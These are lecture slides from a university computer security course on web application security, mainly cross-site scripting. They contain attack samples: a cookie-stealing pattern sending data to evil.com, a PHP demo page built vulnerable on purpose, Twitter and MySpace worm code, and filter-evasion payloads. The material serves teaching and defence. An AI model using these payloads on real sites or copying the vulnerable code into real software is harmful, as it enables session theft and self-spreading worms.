CSE 484 / CSE M 584: Computer Security and Privacy

Web Security
[Web Application Security]

Spring 2020

Franziska (Franzi) Roesner
franzi@cs.washington.edu

Thanks to Dan Boneh, Dieter Gollmann, Dan Halperin, Yoshi Kohno, Ada Lerner, John Manferdelli, John Mitchell, Vitaly Shmatikov, Bennet Yee, and many others for sample slides and materials ...
Admin

• Lab 2
  – Signup out
  – Lab access granted starting later today
  – Details in Section

• Final project
  – First checkpoint deadline next Friday (May 15)
  – Simple: form a group, propose a topic
  – Groups strongly encouraged
  – https://courses.cs.washington.edu/courses/cse484/20sp/assignments/final_project.html
Web Security Overview

• Browser security model
  – Browser sandbox: isolate web from local machine
  – Same origin policy: isolate web content from different domains
  – Also: Isolation for plugins and extensions

• Web application security
  – How (not) to build a secure website
Browser Security Model: Last Words
Cross-Origin Communication

• Sometimes you want to do it...

• Cross-origin network requests
  – Access-Control-Allow-Origin: <list of domains>
    • Unfortunately, often:
      Access-Control-Allow-Origin: *

• Cross-origin client side communication
  – HTML5 postMessage between frames
    • Unfortunately, many bugs in how frames check sender’s origin
What about Browser Plugins?

- **Examples:** Flash, Silverlight, Java, PDF reader
- **Goal:** enable functionality that requires transcending the browser sandbox
- **Increases browser’s attack surface

Java and Flash both vulnerable—again—to new 0-day attacks

Java bug is actively exploited. Flash flaws will likely be targeted soon.

by Dan Goodin (US) - Jul 13, 2015 9:11am PDT

- **Good news:** plugin sandboxing improving, and need for plugins decreasing (due to HTML5 and extensions)
Goodbye Flash

Get ready to finally say goodbye to Flash — in 2020

Posted Jul 25, 2017 by Frederic Lardinois (@fredericl)
What about Browser Extensions?

• Most things you use today are probably extensions
• **Examples:** AdBlock, Ghostery, Mailvelope
• **Goal:** Extend the functionality of the browser

• (Chrome:) Carefully designed security model to protect from malicious websites
  – **Privilege separation:** extensions consist of multiple components with well-defined communication
  – **Least privilege:** extensions request permissions
What about Browser Extensions?

• But be wary of malicious extensions: **not subject to the same-origin policy** – can inject code into any webpage!

Add "Mailvelope"?

It can:
  - Read and change all your data on the websites you visit

[Cancel]  [Add extension]
Web Application Security: How (Not) to Build a Secure Website
Dynamic Web Application
OWASP Top 10 Web Vulnerabilities

1. Injection
2. Broken Authentication & Session Management
3. Cross-Site Scripting
4. Insecure Direct Object References
5. Security Misconfiguration
6. Sensitive Data Exposure
7. Missing Function Level Access Control
8. Cross-Site Request Forgery
9. Using Known Vulnerable Components
10. Unvalidated Redirects and Forwards

http://www.owasp.org
Cross-Site Scripting (XSS)
PHP: Hypertext Processor

• Server scripting language with C-like syntax
• Can intermingle static HTML and code
  
  ```html
  <input value="><?php echo $myvalue; ?>>
  ```

• Can embed variables in double-quote strings
  
  ```php
  $user = "world"; echo "Hello $user!";
  or $user = "world"; echo "Hello" . $user . "!";
  ```

• Form data in global arrays $_GET, $_POST, …
Echoing / “Reflecting” User Input

Classic mistake in server-side applications

search.php responds with
<html> <title>Search results</title> <body>You have searched for <?php echo $_GET[term] ?>... </body>
Echoing / “Reflecting” User Input

naive.com/hello.php?name=Bob

Welcome, dear Bob

Welcome, dear

Cross-Site Scripting (XSS)

Access some web page

Forces victim’s browser to call hello.cgi on naive.com with this script as “name”

GET/steal.cgi?cookie=

Interpreted as JavaScript by victim’s browser; opens window and calls steal.cgi on evil.com
XSS – Quick Demo

```php
<?php
setcookie("SECRET_COOKIE", "12345");
header("X-XSS-Protection: 0");
?>
<html><body><br><br>
<form action="vulnerable.php" method="get">
Name: <input type="text" name="name" size="80">
<input type="submit" value="submit"></form>
<br><br><br>
<div id="greeting">
<?php
$name = $_GET['name'];
if($name) { echo "Welcome ". $_GET['name'];}
?>
</div></body></html>
```

Need to explicitly disable XSS protection – newer browsers try to help web developers avoid these vulnerabilities!
Basic Pattern for Reflected XSS

1. Visit web site
2. Receive malicious page
3. Click on link
4. Echo user input
5. Send valuable data

User victim

Attack server

Server victim
Reflected XSS

- User is tricked into visiting an honest website
  - Phishing email, link in a banner ad, comment in a blog
- Bug in website code causes it to echo to the user’s browser an arbitrary attack script
  - The origin of this script is now the website itself!
- Script can manipulate website contents (DOM) to show bogus information, request sensitive data, control form fields on this page and linked pages, cause user’s browser to attack other websites
  - This violates the “spirit” of the same origin policy
Where Malicious Scripts Lurk

• User-created content
  – Social sites, blogs, forums, wikis

• When visitor loads the page, website displays the content and visitor’s browser executes the script
  – Many sites try to filter out scripts from user content, but this is difficult!
Stored XSS

1. Inject malicious script
2. request content
3. receive malicious script
4. steal valuable data

Users view or download content

Attack server
Server victim

User victim
Twitter Worm (2009)

- Can save URL-encoded data into Twitter profile
- Data **not** escaped when profile is displayed
- Result: StalkDaily XSS exploit
  - If view an infected profile, script infects your own profile

```javascript
var update = urlencode("Hey everyone, join www.StalkDaily.com. It's a site like Twitter but with pictures, videos, and so much more! ");
var ajaxConn = new XHConn();
ajaxConn.connect("/status/update", "POST", "authenticity_token"+authtoken+'&status="+update+'&tab=home&update=update");
ajaxConn1.connect("/account/settings", "POST", "authenticity_token"+authtoken+'&user[url]="+xss+'&tab=home&update=update")

```
Preventing Cross-Site Scripting

• Any user input and client-side data **must** be preprocessed before it is used inside HTML
• Remove / encode HTML special characters
  – Use a good escaping library
    • OWASP ESAPI (Enterprise Security API)
    • Microsoft’s AntiXSS
  – In PHP, htmlspecialchars(string) will replace all special characters with their HTML codes
    • ‘ becomes &amp;#039; “ becomes &quot; & becomes &amp; 
  – In ASP.NET, Server.HtmlEncode(string)
Evading XSS Filters

• Preventing injection of scripts into HTML is hard!
  – Blocking “<” and “>” is not enough
  – Event handlers, stylesheets, encoded inputs (%3C), etc.
  – phpBB allowed simple HTML tags like <b>

\[<b c="">" onmouseover="script" x="<b ">Hello<b>\]

• Beware of filter evasion tricks (XSS Cheat Sheet)
  – If filter allows quoting (of <script>, etc.), beware of malformed quoting: <IMG """">SCRIPT>alert("XSS")</SCRIPT>"'
  – Long UTF-8 encoding
  – Scripts are not only in <script>:"<iframe src='https://bank.com/login' onload='steal()'>
MySpace Worm (1)

• Users can post HTML on their MySpace pages
• MySpace does not allow scripts in users’ HTML
  – No <script>, <body>, onclick, <a href=javascript://>
• ... but does allow <div> tags for CSS.
  – <div style="background:url( ‘javascript:alert(1)’ )”>
• But MySpace will strip out “javascript”
  – Use “java<NEWLINE>script” instead
• But MySpace will strip out quotes
  – Convert from decimal instead:
    alert('double quote: ' + String.fromCharCode(34))
MySpace Worm (2)

Resulting code:

```html
<div id=mycode style="BACKGROUND: url('https://samy.pl/myspace/tech.html')"></div>
```

MySpace Worm (3)

• “There were a few other complications and things to get around. This was not by any means a straight forward process, and none of this was meant to cause any damage or piss anyone off. This was in the interest of..interest. It was interesting and fun!”

• Started on “samy” MySpace page

• Everybody who visits an infected page, becomes infected and adds “samy” as a friend and hero

• 5 hours later “samy” has 1,005,831 friends
  – Was adding 1,000 friends per second at its peak
